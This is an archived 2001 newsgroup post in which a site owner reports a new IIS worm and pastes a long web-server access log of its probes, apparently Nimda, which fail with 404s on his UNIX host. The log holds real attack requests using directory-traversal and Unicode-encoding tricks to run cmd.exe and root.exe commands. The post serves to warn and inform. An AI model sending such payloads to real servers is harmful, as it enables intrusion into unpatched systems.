Thread View: ott.online
1 messages
1 total messages
Started by Darrell Larose
Tue, 18 Sep 2001 15:38
new NT/IIS worm...
Author: Darrell Larose
Date: Tue, 18 Sep 2001 15:38
Date: Tue, 18 Sep 2001 15:38
560 lines
32249 bytes
32249 bytes
I am still getting Code Red attempts , but today starting at 09:40:29 so far the only report is on slashdot.com, CERT.org and others haven't discussed it as of yet. My site is on virtual2 @magma which is a UNIX box so no harm as this again is a anti Microsoft NT/IIS worm 64.26.141.35 - - [18/Sep/2001:09:40:29 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 64.26.141.35 - - [18/Sep/2001:09:40:29 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 64.26.141.35 - - [18/Sep/2001:09:40:30 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.191.99 - - [18/Sep/2001:09:52:17 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.191.99 - - [18/Sep/2001:09:52:21 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.191.99 - - [18/Sep/2001:09:52:21 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.191.99 - - [18/Sep/2001:09:52:21 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.191.99 - - [18/Sep/2001:09:52:21 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.191.99 - - [18/Sep/2001:09:52:22 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.191.99 - - [18/Sep/2001:09:52:22 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.191.99 - - [18/Sep/2001:09:52:22 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.191.99 - - [18/Sep/2001:09:52:22 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.191.99 - - [18/Sep/2001:09:52:22 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.191.99 - - [18/Sep/2001:09:52:23 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.191.99 - - [18/Sep/2001:09:55:58 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.191.99 - - [18/Sep/2001:09:55:58 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.191.99 - - [18/Sep/2001:09:56:02 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.191.99 - - [18/Sep/2001:09:56:02 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.191.99 - - [18/Sep/2001:09:56:02 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.191.99 - - [18/Sep/2001:09:56:02 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.191.99 - - [18/Sep/2001:09:56:03 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.191.99 - - [18/Sep/2001:09:56:04 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.191.99 - - [18/Sep/2001:09:56:04 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.191.99 - - [18/Sep/2001:09:56:04 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.191.99 - - [18/Sep/2001:09:56:04 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.23.131 - - [18/Sep/2001:09:57:51 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.138.147 - - [18/Sep/2001:09:58:53 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.138.147 - - [18/Sep/2001:09:59:27 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.138.147 - - [18/Sep/2001:09:59:29 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.138.147 - - [18/Sep/2001:09:59:33 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.138.147 - - [18/Sep/2001:09:59:35 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.138.147 - - [18/Sep/2001:09:59:38 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.138.147 - - [18/Sep/2001:09:59:41 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.138.147 - - [18/Sep/2001:09:59:57 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.19.73 - - [18/Sep/2001:10:00:00 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.19.73 - - [18/Sep/2001:10:00:00 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.19.73 - - [18/Sep/2001:10:00:00 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.19.73 - - [18/Sep/2001:10:00:00 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.138.147 - - [18/Sep/2001:10:00:00 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.19.73 - - [18/Sep/2001:10:00:00 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.19.73 - - [18/Sep/2001:10:00:01 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.19.73 - - [18/Sep/2001:10:00:01 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.19.73 - - [18/Sep/2001:10:00:03 -0400] "GET /msadc/..%255c../..%255c ../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.19.73 - - [18/Sep/2001:10:00:03 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.19.73 - - [18/Sep/2001:10:00:03 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.19.73 - - [18/Sep/2001:10:00:03 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.138.147 - - [18/Sep/2001:10:00:03 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.19.73 - - [18/Sep/2001:10:00:04 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.19.73 - - [18/Sep/2001:10:00:04 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.19.73 - - [18/Sep/2001:10:00:05 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.19.73 - - [18/Sep/2001:10:00:06 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.138.147 - - [18/Sep/2001:10:00:06 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.19.73 - - [18/Sep/2001:10:00:07 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.138.147 - - [18/Sep/2001:10:00:19 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.138.147 - - [18/Sep/2001:10:00:43 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.138.147 - - [18/Sep/2001:10:00:49 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.138.147 - - [18/Sep/2001:10:01:01 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.138.147 - - [18/Sep/2001:10:01:04 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.216.226.150 - - [18/Sep/2001:10:01:29 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.216.226.150 - - [18/Sep/2001:10:01:29 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.216.226.150 - - [18/Sep/2001:10:01:30 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.216.226.150 - - [18/Sep/2001:10:01:30 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.216.226.150 - - [18/Sep/2001:10:01:30 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.216.226.150 - - [18/Sep/2001:10:01:30 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.216.226.150 - - [18/Sep/2001:10:01:35 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.148.154 - - [18/Sep/2001:10:01:35 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.216.226.150 - - [18/Sep/2001:10:01:36 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.216.226.150 - - [18/Sep/2001:10:01:37 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.216.226.150 - - [18/Sep/2001:10:01:37 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.216.226.150 - - [18/Sep/2001:10:01:37 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.216.226.150 - - [18/Sep/2001:10:01:38 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.216.226.150 - - [18/Sep/2001:10:01:38 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.148.154 - - [18/Sep/2001:10:01:40 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.216.226.150 - - [18/Sep/2001:10:01:42 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.216.226.150 - - [18/Sep/2001:10:01:42 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.216.226.150 - - [18/Sep/2001:10:01:42 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.148.154 - - [18/Sep/2001:10:01:46 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.19.73 - - [18/Sep/2001:10:01:46 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.16.130 - - [18/Sep/2001:10:01:47 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.19.73 - - [18/Sep/2001:10:01:47 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.16.130 - - [18/Sep/2001:10:01:51 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.19.73 - - [18/Sep/2001:10:01:51 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.16.130 - - [18/Sep/2001:10:01:52 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.16.130 - - [18/Sep/2001:10:01:53 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.16.130 - - [18/Sep/2001:10:01:54 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.16.130 - - [18/Sep/2001:10:01:55 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.16.130 - - [18/Sep/2001:10:01:56 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.16.130 - - [18/Sep/2001:10:01:57 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.16.130 - - [18/Sep/2001:10:01:59 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.16.130 - - [18/Sep/2001:10:02:00 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.16.130 - - [18/Sep/2001:10:02:01 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.16.130 - - [18/Sep/2001:10:02:02 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.16.130 - - [18/Sep/2001:10:02:05 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.16.130 - - [18/Sep/2001:10:02:06 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.16.130 - - [18/Sep/2001:10:02:08 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.16.130 - - [18/Sep/2001:10:02:09 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.128.31 - - [18/Sep/2001:10:06:28 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.128.31 - - [18/Sep/2001:10:06:29 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.128.31 - - [18/Sep/2001:10:06:29 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.128.31 - - [18/Sep/2001:10:06:29 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.128.31 - - [18/Sep/2001:10:06:29 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.128.31 - - [18/Sep/2001:10:06:29 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.128.31 - - [18/Sep/2001:10:06:30 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.128.31 - - [18/Sep/2001:10:06:30 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.128.31 - - [18/Sep/2001:10:06:32 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.128.31 - - [18/Sep/2001:10:06:32 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.128.31 - - [18/Sep/2001:10:06:37 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.128.31 - - [18/Sep/2001:10:06:37 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.128.31 - - [18/Sep/2001:10:06:38 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.128.31 - - [18/Sep/2001:10:06:38 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.128.31 - - [18/Sep/2001:10:06:38 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.128.31 - - [18/Sep/2001:10:06:38 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.222.99 - - [18/Sep/2001:10:07:45 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.222.99 - - [18/Sep/2001:10:07:45 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.222.99 - - [18/Sep/2001:10:07:46 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.222.99 - - [18/Sep/2001:10:07:46 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.222.99 - - [18/Sep/2001:10:07:46 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.222.99 - - [18/Sep/2001:10:07:48 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.222.99 - - [18/Sep/2001:10:07:49 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.222.99 - - [18/Sep/2001:10:07:49 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.222.99 - - [18/Sep/2001:10:07:49 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.222.99 - - [18/Sep/2001:10:07:52 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.222.99 - - [18/Sep/2001:10:07:53 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.222.99 - - [18/Sep/2001:10:07:53 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.222.99 - - [18/Sep/2001:10:07:53 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 64.211.217.66 - - [18/Sep/2001:10:08:24 -0400] "GET /robots.txt HTTP/1.0" 200 132 206.191.19.73 - - [18/Sep/2001:10:09:22 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.19.73 - - [18/Sep/2001:10:09:23 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.19.73 - - [18/Sep/2001:10:09:24 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.47.194 - - [18/Sep/2001:10:10:03 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.47.194 - - [18/Sep/2001:10:10:04 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.47.194 - - [18/Sep/2001:10:10:05 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.47.194 - - [18/Sep/2001:10:10:06 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.47.194 - - [18/Sep/2001:10:10:06 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.47.194 - - [18/Sep/2001:10:10:07 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.47.194 - - [18/Sep/2001:10:10:09 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.47.194 - - [18/Sep/2001:10:10:10 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.16.130 - - [18/Sep/2001:10:10:13 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.47.194 - - [18/Sep/2001:10:10:14 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.16.130 - - [18/Sep/2001:10:10:17 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.47.194 - - [18/Sep/2001:10:10:17 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.47.194 - - [18/Sep/2001:10:10:17 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.16.130 - - [18/Sep/2001:10:10:18 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.204.30.77 - - [18/Sep/2001:10:14:02 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.204.30.77 - - [18/Sep/2001:10:14:06 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.204.30.77 - - [18/Sep/2001:10:14:06 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.204.30.77 - - [18/Sep/2001:10:14:06 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.204.30.77 - - [18/Sep/2001:10:14:06 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.204.30.77 - - [18/Sep/2001:10:14:11 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.204.30.77 - - 